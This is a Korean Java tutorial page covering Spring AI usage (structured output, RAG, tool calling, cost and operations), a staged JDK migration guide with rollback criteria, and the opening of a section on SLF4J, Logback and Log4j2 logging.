@RestController
@RequiredArgsConstructor
class AiController {

    private final ChatClient chat;        // 위 빈으로 주입

    @GetMapping("/ask")
    String ask(@RequestParam String q) {
        return chat.prompt().user(q).call().content();
    }
}

구조화 출력 — 문자열 파싱을 하지 마세요

// ★ 실무에서 가장 값어치가 큰 기능입니다.
// 모델 응답을 record 로 바로 받습니다 (스키마를 프롬프트에 자동 주입 + 파싱)

record Ticket(String category, String priority,
              String summary, List<String> tags) {}

Ticket classify(String inquiry) {
    return chat.prompt()
        .system("고객 문의를 분류한다. priority 는 LOW, NORMAL, HIGH 중 하나다.")
        .user(u -> u.text("문의: {q}").param("q", inquiry))
        .call()
        .entity(Ticket.class);          // ← JSON 파싱까지 끝납니다
}

// 리스트로 받기
List<Ticket> many = chat.prompt().user(text).call()
        .entity(new ParameterizedTypeReference<List<Ticket>>() {});

// 스트리밍 — 사용자가 기다리는 화면이라면 필수입니다
@GetMapping(value = "/ask/stream", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
Flux<String> stream(@RequestParam String q) {
    return chat.prompt().user(q).stream().content();
}
.entity(...) 를 쓰면 안정성이 크게 올라갑니다 — “JSON 으로만 답해”라고 부탁하고 문자열을 정규식으로 파싱하는 코드는 모델이 설명 문장을 한 줄만 덧붙여도 깨집니다. 구조화 출력은 스키마 주입 + 파싱 + 실패 시 재요청을 대신해 줍니다.

RAG 만들기 — 색인과 질의 🟡 중급

① 색인 — 문서를 벡터 스토어에 넣기

-- PostgreSQL 에 확장 하나만 켜면 벡터 스토어가 됩니다
CREATE EXTENSION IF NOT EXISTS vector;
-- 테이블은 Spring AI 가 만들어 줍니다 (initialize-schema: true)
@Service
@RequiredArgsConstructor
public class IndexService {

    private final VectorStore vectorStore;

    public void index(Resource pdf) {
        // ① 읽기
        var reader = new TikaDocumentReader(pdf);
        List<Document> docs = reader.get();

        // ② 조각내기 — 너무 크면 근거가 흐려지고, 너무 작으면 맥락이 끊깁니다
        var splitter = new TokenTextSplitter(800, 350, 5, 10000, true);
        List<Document> chunks = splitter.apply(docs);

        // ③ 메타데이터를 붙여 두면 나중에 필터로 좁힐 수 있습니다 ★
        chunks.forEach(d -> {
            d.getMetadata().put("source", pdf.getFilename());
            d.getMetadata().put("dept", "cs");
            d.getMetadata().put("indexedAt", Instant.now().toString());
        });

        // ④ 임베딩 + 저장 (한 번에)
        vectorStore.add(chunks);
    }
}
조각 크기가 RAG 품질의 절반입니다 — 너무 크면 근거 안에 잡음이 섞여 모델이 헷갈리고, 너무 작으면 문장이 끊겨 의미가 사라집니다. 600~1000 토큰 + 겹침 100~300 부터 시작해 실제 질문 20개로 검색 결과를 눈으로 확인하며 조정하세요.

② 질의 — 검색 결과를 근거로 넣기

// 방법 A — 어드바이저에 맡기기 (가장 짧습니다)
@Bean
// ChatClient 빈이 둘이 되면 주입하는 쪽에 @Qualifier("ragClient") 를 붙입니다
ChatClient ragClient(ChatClient.Builder b, VectorStore store) {
    return b.defaultAdvisors(
                QuestionAnswerAdvisor.builder(store)
                    .searchRequest(SearchRequest.builder()
                            .topK(4)
                            .similarityThreshold(0.6)   // 너무 먼 것은 버립니다
                            .build())
                    .build(),
                new SimpleLoggerAdvisor())              // 프롬프트 로깅
            .build();
}

// 방법 B — 직접 조립 (근거를 화면에 같이 보여 줘야 할 때 ★)
public Answer ask(String question) {
    List<Document> found = vectorStore.similaritySearch(
            SearchRequest.builder()
                .query(question).topK(4).similarityThreshold(0.6)
                .filterExpression("dept == 'cs'")       // 메타데이터 필터
                .build());

    String context = found.stream().map(Document::getText)
                          .collect(Collectors.joining("\n---\n"));

    String answer = chat.prompt()
            .system("아래 [근거]만 사용해 답하라. 없으면 모른다고 답하라.")
            .user(u -> u.text("""
                    [근거]
                    {ctx}

                    [질문]
                    {q}
                    """).param("ctx", context).param("q", question))
            .call().content();

    // 출처를 함께 돌려주면 사용자가 검증할 수 있습니다 — 신뢰도가 크게 오릅니다
    var sources = found.stream()
            .map(d -> (String) d.getMetadata().get("source")).distinct().toList();
    return new Answer(answer, sources);
}

툴 호출 · 비용 · 운영 — 여기서 갈립니다 🔴 고급

툴 호출 — 모델이 내 코드를 부르게 하기

@Component
@RequiredArgsConstructor
public class OrderTools {

    private final OrderRepository repo;

    @Tool(description = "주문 번호로 주문 상태와 배송 정보를 조회한다")
    public OrderStatus orderStatus(
            @ToolParam(description = "주문 번호, 예: ORD-2026-0012") String orderNo) {
        return repo.findByOrderNo(orderNo)
                   .map(OrderStatus::from)
                   .orElseThrow(() -> new IllegalArgumentException("없는 주문"));
    }

    @Tool(description = "오늘 날짜를 ISO 형식으로 돌려준다")
    public String today() { return LocalDate.now().toString(); }
}

// 붙이기
String reply = chat.prompt()
        .user("ORD-2026-0012 언제 도착해?")
        .tools(orderTools)          // 모델이 필요하다고 판단하면 부릅니다
        .call().content();

// 흐름: 질문 → 모델이 "orderStatus 를 불러야겠다" → Spring AI 가 대신 호출
//      → 결과를 모델에게 돌려줌 → 모델이 자연어로 정리 → 최종 답변
툴은 “모델이 부를 수 있는 API”입니다 — 권한을 그대로 물려받습니다. 조회 전용부터 시작하고, 상태를 바꾸는 툴(환불·취소·발송)은 반드시 사람 확인 단계를 사이에 넣으세요. 툴 안에서 사용자 권한을 다시 검사하는 것도 잊지 마세요 — 모델은 인자를 지어낼 수 있습니다.

비용 · 타임아웃 · 관측

// ① 토큰 사용량을 지표로 — 비용은 여기서만 보입니다
ChatResponse res = chat.prompt().user(q).call().chatResponse();
var usage = res.getMetadata().getUsage();
meter.counter("ai.tokens", "type", "in").increment(usage.getPromptTokens());
meter.counter("ai.tokens", "type", "out").increment(usage.getCompletionTokens());

// 대략의 비용 감각 (Claude Opus 5 기준: 입력 $5 / 출력 $25 per 1M 토큰)
//   RAG 한 번 = 근거 3000토큰 + 질문 100 + 답변 500
//   ≈ 3100 × $5/1M + 500 × $25/1M ≈ $0.028  → 1만 건이면 약 $280
//   ★ 근거를 4조각에서 8조각으로 늘리면 비용이 두 배가 됩니다
spring:
  ai:
    retry:
      max-attempts: 2               # ★ 무한 재시도 금지
      backoff: { initial-interval: 1s, multiplier: 2 }
      on-client-errors: false       # 4xx 는 재시도해도 소용없습니다
  http:
    client:
      read-timeout: 60s             # 긴 응답을 고려해 넉넉히
      connect-timeout: 3s
// ② 다운스트림 보호 — v03 과 같은 원칙입니다
private final Semaphore aiLimit = new Semaphore(20);   // 동시 호출 상한

// ③ 캐시 — 같은 질문이 반복되는 서비스라면 효과가 아주 큽니다
// key 를 hashCode 로 잡으면 해시 충돌 시 다른 질문의 답이 나갑니다 — 질문 자체를 키로
@Cacheable(value = "aiFaq", key = "#q")
String answerFaq(String q) { ... }

// ④ 관측 — Spring AI 는 마이크로미터 관측을 기본 제공합니다
//    spring.ai.chat.observations.log-prompt=false  ← 운영에서는 끄세요 (개인정보)
모델 이름을 코드에 박지 마세요 — 설정으로 빼 두면 모델 교체가 배포 없이 됩니다. 공급자를 바꿀 여지도 남습니다. Spring AI 의 ChatModel 추상화가 있는 이유가 바로 이것입니다.
정리 — Spring AI 는 ChatClient 하나로 시작합니다. 실무 코드가 되는 지점은 세 개입니다 — .entity(record) 로 구조화 출력, 벡터 스토어 + 근거 주입(RAG), @Tool 로 내 API 연결. 그리고 운영에 올릴 때는 토큰 지표 · 타임아웃 · 재시도 상한 · 동시 호출 제한을 다른 외부 API 와 똑같이 걸어 두세요.
MODERN 13

마이그레이션 실전 — 8/11 에서 21/25 로

실패하는 마이그레이션은 대부분 순서를 섞어서 실패합니다 — JDK 를 올리면서 의존성도 올리고 문법도 바꾸면, 깨졌을 때 무엇이 범인인지 알 수 없습니다. 여기서는 한 단계씩 되돌릴 수 있는 순서와, 각 단계에서 실제로 만나는 벽, 그리고 기계가 대신해 주는 부분을 정리합니다.

되돌릴 수 있는 순서 — 한 단계에 한 가지만 바꿉니다 1 빌드 도구·플러그인 최신화 (JDK 는 그대로) Gradle 8.14+/9.x · Maven 플러그인 · Lombok · 애노테이션 프로세서. 옛 Gradle 은 새 JDK 를 아예 못 읽습니다 2 의존성만 최신화 — 실제 문제의 대부분이 여기서 드러납니다 Spring Boot · Hibernate · Jackson · Mockito · ByteBuddy. javax → jakarta 전환도 이 단계입니다 3 런타임만 교체 — 소스 레벨은 그대로 두고 새 JVM 으로 테스트 여기서 깨지면 문법 문제가 아닙니다 — 리플렉션 차단·제거된 API·에이전트가 범인입니다 4 컴파일 대상 상향 — --release 를 올리고 새 경고를 정리 jdeprscan 으로 사라질 API 를 먼저 훑습니다. 문법은 아직 하나도 안 바꿉니다 5 새 문법 도입 — OpenRewrite 로 기계 변환 + 사람 리뷰 var · switch 식 · record · 텍스트 블록 · List.of. 기능 변경과 절대 같은 PR 에 넣지 마세요 6 운영 반영 — 카나리 1대 → 10% → 전량 p99·에러율·GC 멈춤·RSS 를 이전 버전과 나란히 봅니다. 되돌릴 이미지 태그를 준비해 둡니다
각 단계는 앞 단계로 되돌릴 수 있어야 합니다 — 두 단계를 한 커밋에 몰아넣는 순간 원인 추적이 불가능해집니다.

단계 2~3 에서 만나는 벽 — 제거된 것들

사라진 것버전 · 대안
JAXB · JAX-WS11 — jakarta.xml.bind 를 의존성으로 추가
CORBA · Java EE 모듈11 — 별도 라이브러리
Nashorn (JS 엔진)15 — GraalJS
Applet · RMI Activation17/21 — 대안 없음
Security Manager24 영구 비활성 — 컨테이너 격리로 대체
sun.misc.Unsafe 메모리23 부터 폐기 예고 · 24 부터 경고 — FFM 이나 VarHandle 로
32비트 x86 포트25 — 64비트만 지원
finalize()18 폐기 — Cleaner 나 try-with-resources
javax → jakarta 는 JDK 문제가 아닙니다 — Spring Boot 3 이상으로 올릴 때 생기는 별개의 전환입니다. javax.persistence·javax.servlet·javax.validation 이 전부 jakarta.* 로 바뀝니다. JDK 상향과 같은 PR 에 넣지 마세요 — 둘 다 크고, 섞이면 되돌릴 수 없습니다.

강한 캡슐화 — 리플렉션이 막히는 문제

Java 16 부터 JDK 내부 패키지에 대한 리플렉션이 기본 차단입니다.
17 부터는 풀어 주는 옵션(--illegal-access)조차 사라졌습니다.

증상 — 이런 예외를 만나면 전부 같은 원인입니다
  InaccessibleObjectException: Unable to make field private ...
      accessible: module java.base does not "opens java.util" to unnamed module
  IllegalAccessError / NoSuchFieldException 이 뜬금없이

처방 ① 라이브러리를 올린다  ← 거의 항상 이게 정답입니다
      (Jackson · Mockito · ByteBuddy · Kryo 는 이미 다 대응했습니다)

처방 ② 정말 못 올릴 때만 문을 연다
  --add-opens java.base/java.util=ALL-UNNAMED       # 리플렉션 허용
  --add-exports jdk.compiler/com.sun.tools.javac.api=ALL-UNNAMED   # 컴파일 접근

  · --add-opens : 실행 중 리플렉션까지 허용 (setAccessible)
  · --add-exports: 컴파일·링크 수준 접근만 허용

처방 ③ 어디에 적어 두나
  · 실행:  JAVA_TOOL_OPTIONS 또는 jar 의 MANIFEST(Add-Opens)
  · Gradle 테스트: tasks.test { jvmArgs("--add-opens", "...") }
  · Maven surefire: <argLine>--add-opens ...</argLine>

★ --add-opens 는 '빚'입니다. 적은 개수를 목록으로 관리하고
  라이브러리를 올릴 때마다 하나씩 지워 나가세요.

기계가 대신하는 부분 — 도구 네 가지 🟡 중급

진단 도구 — JDK 안에 들어 있습니다

# ① jdeprscan — 폐기·제거된 API 를 쓰고 있나
jdeprscan --release 25 build/libs/app.jar
jdeprscan --release 25 --for-removal build/libs/app.jar   # 곧 사라질 것만

# ② jdeps — JDK 내부를 몰래 쓰는 의존성 찾기 ★ 가장 유용합니다
jdeps --jdk-internals -R --multi-release 25 build/libs/app.jar
#   출력에 "JDK internal API (java.base)" 가 보이면 그 라이브러리가 범인입니다
#   친절하게 '대신 이걸 쓰라'는 제안까지 붙습니다

# ③ 의존성 트리에서 낡은 것 찾기
./gradlew dependencyUpdates            # ben-manes 플러그인
mvn versions:display-dependency-updates

# ④ 클래스 파일 버전 확인 — 이 라이브러리가 어느 JDK 로 빌드됐나
javap -verbose -cp lib.jar com/foo/Bar | grep major
#   major 52=Java 8 · 55=11 · 61=17 · 65=21 · 69=25

# ⑤ 테스트를 여러 JDK 로 동시에 (CI 매트릭스)
#    17 · 21 · 25 를 한동안 같이 돌리면 회귀를 빨리 잡습니다

OpenRewrite — 문법 전환을 기계에게

// build.gradle.kts
plugins { id("org.openrewrite.rewrite") version "latest.release" }

dependencies {
    rewrite("org.openrewrite.recipe:rewrite-migrate-java:latest.release")
    rewrite("org.openrewrite.recipe:rewrite-spring:latest.release")
}

rewrite {
    activeRecipe(
        "org.openrewrite.java.migrate.UpgradeToJava21",
        // Spring Boot 3 로 올릴 때 javax → jakarta 까지 함께
        "org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_5"
    )
}
# 먼저 '무엇을 바꿀지'만 봅니다 — 절대 바로 적용하지 마세요
./gradlew rewriteDryRun
#   build/reports/rewrite/rewrite.patch 에 diff 가 나옵니다

# 확인한 뒤 적용
./gradlew rewriteRun
git diff --stat            # 변경량을 먼저 보고, 커밋을 잘게 나눕니다

잘 먹히는 것: 불필요한 final·다이아몬드 연산자·List.of· String.format → 텍스트 블록·@Deprecated API 치환·javax→jakarta. 잘 안 먹히는 것: record 로의 변환, 패턴 매칭 도입 — 설계 판단이 필요해서 사람이 해야 합니다.

기계 변환 PR 은 반드시 따로 — 500 파일이 바뀐 PR 에 기능 수정이 섞이면 아무도 리뷰할 수 없습니다. “레시피 하나 = 커밋 하나”로 나누면 문제가 생겼을 때 그 커밋만 되돌리면 됩니다.

의존성 호환 — 2026년 기준 현실 🔴 고급

먼저 확인해야 할 것들

라이브러리메모
Gradle먼저 올려야 합니다 — 옛 버전은 새 JDK 를 인식조차 못 합니다
LombokJDK 를 가장 심하게 탑니다 — 최신으로. 안 되면 record 로 줄이세요
ByteBuddy / ASMMockito·Hibernate·스프링 AOP 가 이걸 씁니다. 새 클래스 파일 버전 지원 필요
Mockito인라인 목 · --add-opens 이슈. 최신으로
Jacksonrecord·sealed 지원. -parameters 컴파일 옵션 권장
Hibernate / JPA6.x 이상 + jakarta. 5.x 는 javax 라 함께 못 씁니다
Jacoco · 커버리지새 클래스 파일 버전 지원이 늦는 편입니다
APM 에이전트잊기 쉽습니다 — 운영에서만 터집니다
운영에서만 터지는 3대 범인 ★ — ① APM/모니터링 자바 에이전트(-javaagent), ② 커버리지·프로파일링 에이전트, ③ 컨테이너 베이스 이미지의 JDK 버전. 전부 빌드에는 안 나타나고 실행할 때만 문제가 됩니다. 스테이징에서 운영과 똑같은 에이전트 구성으로 한 번은 돌려 보세요.

롤백 계획 — 미리 정해 둘 것

[준비]
 · 이전 버전 이미지 태그를 남겨 둡니다 (app:1.42-jdk17)
 · 설정으로 되돌릴 수 있는 것은 코드가 아니라 설정으로 둡니다
     SPRING_THREADS_VIRTUAL_ENABLED=false
     JAVA_TOOL_OPTIONS="-XX:-UseCompactObjectHeaders"
 · DB 스키마 변경은 이번 배포에 절대 섞지 않습니다 (되돌릴 수 없습니다)

[관측 — 이전 버전과 나란히 봅니다]
 · p50 / p99 응답 시간
 · 에러율 (5xx · 타임아웃 · 커넥션 대기)
 · GC: Full GC 횟수, 최대 멈춤 시간
 · 메모리: RSS, 힙 사용량, 메타스페이스
 · 기동 시간 (오토스케일에 직결)
 · 스레드/커넥션: 활성 커넥션, 대기 큐 길이

[판단 기준 — 배포 전에 숫자로 못 박습니다]
 · p99 가 20% 이상 악화 → 즉시 롤백
 · 에러율이 기준선의 2배 → 즉시 롤백
 · RSS 가 한도의 90% 초과 → 즉시 롤백
 "느낌상 괜찮은 것 같다" 로 판단하지 않습니다.

[단계]
 1) 카나리 1대 · 30분 관찰
 2) 10% · 2시간
 3) 50% · 하루
 4) 전량 · 이전 이미지는 일주일 보관

한 장 요약 — 이 탭 전체 치트시트 🟢 기초

외워 두면 좋은 명령·플래그

# 진단
jcmd <pid> Thread.dump_to_file -format=json dump.json   # 가상 스레드 포함 덤프
jcmd <pid> JFR.start settings=profile duration=120s filename=r.jfr
jfr print --events jdk.VirtualThreadPinned r.jfr        # 핀닝 (Java 24+)
jdeprscan --release 25 app.jar                          # 사라질 API
jdeps --jdk-internals -R --multi-release 25 app.jar     # 내부 API 사용

# 기동·메모리
-XX:AOTCacheOutput=app.aot        # 훈련 실행 1회
-XX:AOTCache=app.aot              # 이후 기동
-XX:+UseCompactObjectHeaders      # 힙 10~20% 절감 (25 정식)
-XX:MaxRAMPercentage=75.0         # 컨테이너

# 동시성
-Djdk.virtualThreadScheduler.parallelism=8
-Djdk.virtualThreadScheduler.maxPoolSize=256
-Djdk.traceVirtualThreadLocals    # ThreadLocal 사용처 추적 (개발용)

# 프리뷰 (구조적 동시성 등)
javac --release 25 --enable-preview Main.java
java --enable-preview Main

# 네이티브 (FFM)
java --enable-native-access=ALL-UNNAMED -jar app.jar

기능별 “쓸 수 있나” 표 2026-08 기준

기능상태
가상 스레드21 정식 — 24+ 권장
패턴 매칭 (switch·record)21 정식
SequencedCollection21 정식
FFM API22 정식
Stream Gatherers24 정식
ScopedValue25 정식
모듈 import · 간결한 소스25 정식
압축 객체 헤더25 정식 (24 실험)
AOT 캐시24 정식 (25 간소화)
구조적 동시성프리뷰 — --enable-preview
원시 타입 패턴프리뷰
값 클래스(Valhalla)아직 준비 중
다음에 무엇을 볼까 — 가상 스레드를 실제 서비스에 넣을 거라면 🧬 고급·동시성 탭의 스레드 기초·java.util.concurrent·CompletableFuture 를 먼저 다지고, 부하와 지표를 다룰 거라면 ⚡ 대규모 트래픽 탭의 병목 지도·관측·부하 테스트로 이어 보세요.
정리 — 마이그레이션의 전부는 순서입니다 — 빌드 도구 → 의존성 → 런타임 → 컴파일 대상 → 새 문법 → 배포. 한 단계에 한 가지만 바꾸고, 기계가 할 수 있는 변환은 OpenRewrite 에 맡기고, 진단은 jdeprscan·jdeps --jdk-internals 두 개면 시작할 수 있습니다. 그리고 롤백 기준을 숫자로 미리 못 박아 두세요 — 그게 있어야 과감하게 올릴 수 있습니다.
SLF4J 2.x · LOGBACK · LOG4J2 · MDC · JSON 구조적 로깅 · Spring Boot 3.x · Java 25 LTS

운영에서
남는 것은
로그뿐입니다

장애가 났을 때 디버거를 붙일 수는 없습니다. 그때 남아 있는 것은 로그가 전부입니다. 그런데 자바 로깅은 처음 보면 이상합니다 — 왜 SLF4J 와 Logback 을 둘 다 넣나, 왜 의존성 하나 잘못 넣으면 로그가 통째로 사라지나, 왜 로거가 원격 코드 실행 취약점이 됐나. 이 탭은 파사드 + 구현이라는 두 겹 구조에서 출발해 구현체 선택 · 설정 · 비동기 · JSON · MDC · 성능 · 보안까지 한 번에 잇습니다. 이 탭을 마치면 로그를 "찍는" 것이 아니라 "설계"할 수 있게 됩니다.

12SECTIONS
SLF4J 2.x기준
5구현체 비교
14시각화
LOG 01

자바 로깅의 역사 — 왜 두 겹이 됐나

다른 언어는 대개 로거가 하나입니다. 파이썬은 logging, Go 는 log/slog. 자바만 파사드(SLF4J) + 구현(Logback·Log4j2) 두 겹입니다. 이유는 기술이 아니라 역사에 있습니다 — 그리고 그 역사를 알면 오늘의 의존성 문제가 전부 설명됩니다.

자바 로깅 30년 — 위는 표준이 되려던 시도, 아래는 실제로 자리 잡은 것 1996 1999 2002 2006 2014 2021 System.out println 시대 java.util.logging JDK 1.4 내장 Log4j2 2.0 비동기 · 플러그인 Log4j 1.x 사실상 첫 표준 SLF4J + Logback 파사드가 자리 잡음 Log4Shell 생태계 전체 점검 여기까지는 라이브러리마다 로거가 제각각 파사드 위에서 구현을 갈아 끼우는 시대 1999년에 만든 코드가 2026년에도 돕니다 — 그래서 낡은 로거가 계속 남습니다 "어느 로거를 쓰나"보다 "어느 로거가 이미 들어와 있나"가 실무의 질문입니다
타임라인 — 표준이 늦게 왔기 때문에 파사드가 필요해졌습니다. 순서가 반대였다면 두 겹은 없었습니다.

System.out 은 왜 로그가 아닌가

// ❌ 이것은 로그가 아니라 '출력'입니다
System.out.println("주문 처리 시작: " + orderId);

//  · 끄고 켤 수 없습니다 (레벨이 없음)
//  · 언제 찍혔는지 모릅니다 (시각이 없음)
//  · 누가 찍었는지 모릅니다 (클래스·스레드가 없음)
//  · 파일로 못 보냅니다 (리다이렉트하면 통째로 섞임)
//  · 동기 + 락 — 초당 수만 줄이면 그 자체가 병목입니다

// ✅ 로거
private static final Logger log =
        LoggerFactory.getLogger(OrderService.class);

log.info("주문 처리 시작 orderId={}", orderId);
// 2026-09-01 10:22:41.108 [http-nio-8080-exec-3] INFO
//   c.m.order.OrderService - 주문 처리 시작 orderId=1042
System.out 이 실제로 사고를 내는 지점 — System.out 은 동기화된 PrintStream 입니다. 요청 스레드 200개가 동시에 찍으면 전부 같은 락을 기다립니다. "로그를 지웠더니 TPS 가 올랐다"는 이야기의 절반이 여기서 나옵니다.

네 세대 요약 — 지금 무엇이 남았나

세대대표지금 위치
1세대System.out테스트 코드에만
2세대Log4j 1.x2015년 수명 종료
2세대commons-logging낡은 라이브러리에 잔존
3세대java.util.loggingJDK 내장 · 도구류에서
4세대SLF4J (파사드)사실상 표준
4세대LogbackSpring Boot 기본값
4세대Log4j2대안 · 비동기가 강점
Log4j 1.x 는 왜 아직 보이나 — Apache 가 2015년에 수명 종료를 선언했지만, 그 위에 쌓인 사내 라이브러리가 너무 많았습니다. 그래서 원저자가 reload4j 라는 보안 패치 포크를 따로 냈습니다. 신규 프로젝트가 고를 이유는 전혀 없습니다.

한 단계 더 — 파사드 + 구현이라는 두 겹 🟡 중급

왜 두 겹인가 — 내 코드는 인터페이스만 보고, 구현은 배포할 때 정합니다 내 코드 org.slf4j.Logger 만 import 합니다 SLF4J API 인터페이스만 있는 slf4j-api.jar 바인딩(provider) logback-classic · log4j-slf4j2-impl 이 층이 두 개면 경고 후 하나만 씁니다 구현체 Logback · Log4j2 Core · j.u.l 출력 콘솔 · 파일 · 소켓 · JSON 호출 방향 코드는 그대로 두고 jar 하나만 바꿔 구현을 갈아 끼울 수 있습니다 라이브러리는 SLF4J 만 의존하고, 구현은 애플리케이션이 고릅니다 — 이게 핵심
레이어 — 바인딩 층이 갈아 끼우는 자리입니다. 이 한 층 때문에 두 겹이 됐습니다.

라이브러리 입장에서 생각해 보기

// 내가 오픈소스 라이브러리를 만든다고 합시다.
// 로그를 남기고 싶은데, 쓰는 쪽이 어떤 로거를 쓸지 모릅니다.

// ❌ 구현을 직접 의존하면 — 사용자에게 Logback 을 강요하는 셈
implementation("ch.qos.logback:logback-classic")

// ✅ 파사드만 의존 — 사용자가 자기 구현을 고릅니다
api("org.slf4j:slf4j-api")

// 라이브러리 코드는 이것만 씁니다
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class HttpClient {
    private static final Logger log =
            LoggerFactory.getLogger(HttpClient.class);
}
한 줄 규칙 — 라이브러리는 slf4j-api 만, 애플리케이션(실행되는 쪽)만 구현체를 넣습니다. 이 규칙 하나로 이 탭에 나오는 의존성 사고의 80%가 사라집니다.

SLF4J 가 구현을 찾는 순간

// SLF4J 2.0 부터는 표준 ServiceLoader 로 찾습니다.
// logback-classic.jar 안에는 이런 파일이 들어 있습니다.
//
//   META-INF/services/org.slf4j.spi.SLF4JServiceProvider
//     → ch.qos.logback.classic.spi.LogbackServiceProvider

// 클래스패스에 provider 가 하나도 없으면
//   SLF4J(W): No SLF4J providers were found.
//   SLF4J(W): Defaulting to no-operation (NOP) logger implementation
//   → 로그가 '조용히' 전부 사라집니다 ★

// 둘 이상이면
//   SLF4J(W): Class path contains multiple SLF4J providers.
//   SLF4J(W): Actual provider is of type [...LogbackServiceProvider]
//   → 실행은 되지만 '어느 쪽이 이겼는지'는 클래스패스 순서 나름
SLF4J 1.7 과 2.x 는 찾는 방식이 다릅니다 — 1.7 은 StaticLoggerBinder 라는 클래스를 리플렉션으로 찾았고, 2.x 는 ServiceLoader 를 씁니다. 그래서 SLF4J 2.x 에 1.7용 바인딩(log4j-slf4j-impl)을 넣으면 아무 로그도 안 나옵니다. 2.x 용은 이름 끝에 2가 붙은 log4j-slf4j2-impl 입니다.
다른 언어와 비교하면 더 선명합니다 — 파이썬 logging 은 표준 라이브러리 하나라서 파사드가 필요 없었습니다. Go 는 오래 표준이 없다가 log/slog 로 표준 인터페이스를 넣었는데, 이게 사실상 자바의 SLF4J 자리입니다. 자바는 표준이 나오기 전에 생태계가 먼저 커져 버려서 파사드를 라이브러리로 만들어야 했습니다. JDK 에 들어간 java.util.logging 은 이미 Log4j 가 이긴 뒤에 나왔습니다.
LOG 02

구현체 비교 — Logback · Log4j2 그리고 나머지

고를 것은 사실상 두 개입니다. 나머지는 "이미 들어와 있어서 알아야 하는 것"에 가깝습니다. 아래 표는 절대 점수가 아니라 상대 위치입니다 — 숫자를 지어내지 않았습니다.

구현체 비교 — 색이 진할수록 강합니다 (글자는 색각 이상에서도 읽으라고 함께 둡니다) 처리량 비동기 설정 유연성 생태계 · 문서 유지보수 도입 쉬움 Logback 보통 낮음 높음 매우 높음 높음 매우 높음 Log4j2 매우 높음 매우 높음 매우 높음 높음 높음 보통 java.util.logging 낮음 매우 낮음 매우 낮음 매우 낮음 낮음 매우 높음 tinylog 보통 보통 낮음 매우 낮음 보통 높음 Log4j 1.x (EOL) 매우 낮음 없음 낮음 매우 낮음 없음 없음 약함 강함 채택 정도는 mvnrepository 사용 순위와 GitHub star 추이로 직접 확인하세요 한 가지 색의 명도만 씁니다 — 무지개로 칠하면 강약의 순서가 사라집니다
히트맵 — 진한 칸이 몰린 행이 그 도구의 정체입니다. Log4j2 는 성능 쪽, Logback 은 생태계 쪽에 몰려 있습니다.

채택 정도 — 숫자 대신 상대 위치로

구현체위치고르는 상황
Logback사실상 표준Spring Boot 면 그냥 기본값
Log4j2널리 씀초당 수십만 줄 · 비동기
java.util.logging내장이라 늘 있음고르는 게 아니라 만남
tinylog특정 상황에서만의존성 최소화 · 안드로이드
Log4j 1.x신규 채택 없음없음 — 걷어낼 대상
reload4j임시 방편Log4j 1.x 를 못 걷어낼 때
직접 확인하는 법 (숫자를 믿기 전에) — ① mvnrepository.com 의 “Logging Frameworks” 카테고리 usage 순위, ② GitHub 저장소의 star · 최근 릴리스 날짜, ③ 내 프로젝트는 ./gradlew dependencies · mvn dependency:tree 로 이미 뭐가 들어와 있는지부터. 2026년 8월 기준 대략의 인상은 위 표와 같지만, 시점이 지나면 바뀝니다.

고르는 기준 — 세 문장으로

✅ Logback 그대로
Spring Boot 프로젝트 · 초당 로그가 수만 줄 이하 · 설정을 application.yml 로 끝내고 싶다 · 고민하기 싫다.
→ 아무것도 안 하면 이미 Logback 입니다.
🔁 Log4j2 로 교체
초당 수십만 줄 · p99 지연에 로깅이 잡힌다 · 전면 비동기가 필요하다 · 가비지 프리 모드가 필요하다.
→ 교체 비용은 의존성 정리 + 설정 파일 다시 쓰기 정도입니다.
고를 때 실제로 던지는 질문 세 개

① 지금 초당 몇 줄을 찍고 있나?
   → 모르면 먼저 재세요. 대부분 '생각보다 적게' 찍습니다.

② 로깅이 p99 지연에 잡히나?
   → 비동기 전환은 여기 답이 '예'일 때만 의미가 있습니다.

③ 팀이 XML 설정을 관리할 수 있나?
   → 못 하면 Logback + application.yml 이 정답입니다.
가장 흔한 오답 — “성능이 좋다니까 Log4j2 로 바꾸자”. 동기 파일 출력으로 쓰면 Log4j2 도 Logback 과 큰 차이가 없습니다. Log4j2 의 강점은 AsyncLogger 를 켰을 때 나옵니다(LOG 06).

이렇게도 쓸 수 있다 — 나머지 셋의 자리 🟡 중급

java.util.logging (JUL) — 피할 수 없는 만남

// JDK 에 내장이라 의존성이 필요 없습니다. 그게 유일한 장점입니다.
import java.util.logging.Logger;
Logger log = Logger.getLogger(MyClass.class.getName());
log.info("메시지");     // 레벨 이름부터 다름: SEVERE/WARNING/INFO/FINE

// 실무에서 JUL 을 만나는 곳
//   · Tomcat 내부 · JavaFX · JAXB · 일부 JDK 도구
//   · '표준이니까' 쓴 오래된 사내 라이브러리

// 대책 — SLF4J 로 끌어옵니다 (LOG 04 에서 자세히)
implementation("org.slf4j:jul-to-slf4j")
JUL 의 진짜 문제 — 설정 파일(logging.properties)이 JVM 전역이고, 롤링 정책이 빈약하며, 레벨 이름이 다른 로거와 안 맞습니다 (FINE ↔ DEBUG). 성능도 다른 구현체보다 떨어집니다. 직접 고르지는 말고, 들어오면 브리지로 흡수하세요.

tinylog · Log4j 1.x

// tinylog 2.x — jar 가 작고 설정이 properties 한 장이면 끝납니다
implementation("org.tinylog:tinylog-api:2.7.0")
implementation("org.tinylog:tinylog-impl:2.7.0")
// SLF4J 를 통해 쓰려면
implementation("org.tinylog:slf4j-tinylog:2.7.0")

// tinylog.properties
//   writer        = rolling file
//   writer.file   = logs/app_{count}.log
//   writer.policies = size: 10mb
//   level         = info
Log4j 1.x 가 아직 있으면 이렇게 확인합니다

$ ./gradlew dependencies | grep -i "log4j:log4j"
  \--- log4j:log4j:1.2.17          ← 이게 보이면 조치 대상

선택지
  ① 걷어내고 log4j-over-slf4j 로 갈아 끼우기   ← 권장
  ② 당장 못 걷어내면 ch.qos.reload4j:reload4j 로 교체
     (API 가 같아서 코드 수정 없이 바뀝니다)
tinylog 를 고를 만한 자리 — CLI 도구 · 임베디드 · 안드로이드처럼 jar 크기와 시작 시간이 중요한 곳. 반대로 서버 애플리케이션에서는 생태계(Spring · 수집기 · 인코더)가 얇아서 고를 이유가 거의 없습니다.
LOG 03

SLF4J 사용법 — {} 하나가 만드는 차이

log.debug("id=" + id) 와 log.debug("id={}", id) 는 결과가 같아 보입니다. 레벨이 꺼져 있을 때 완전히 달라집니다 — 그리고 운영에서 DEBUG 는 대개 꺼져 있습니다.

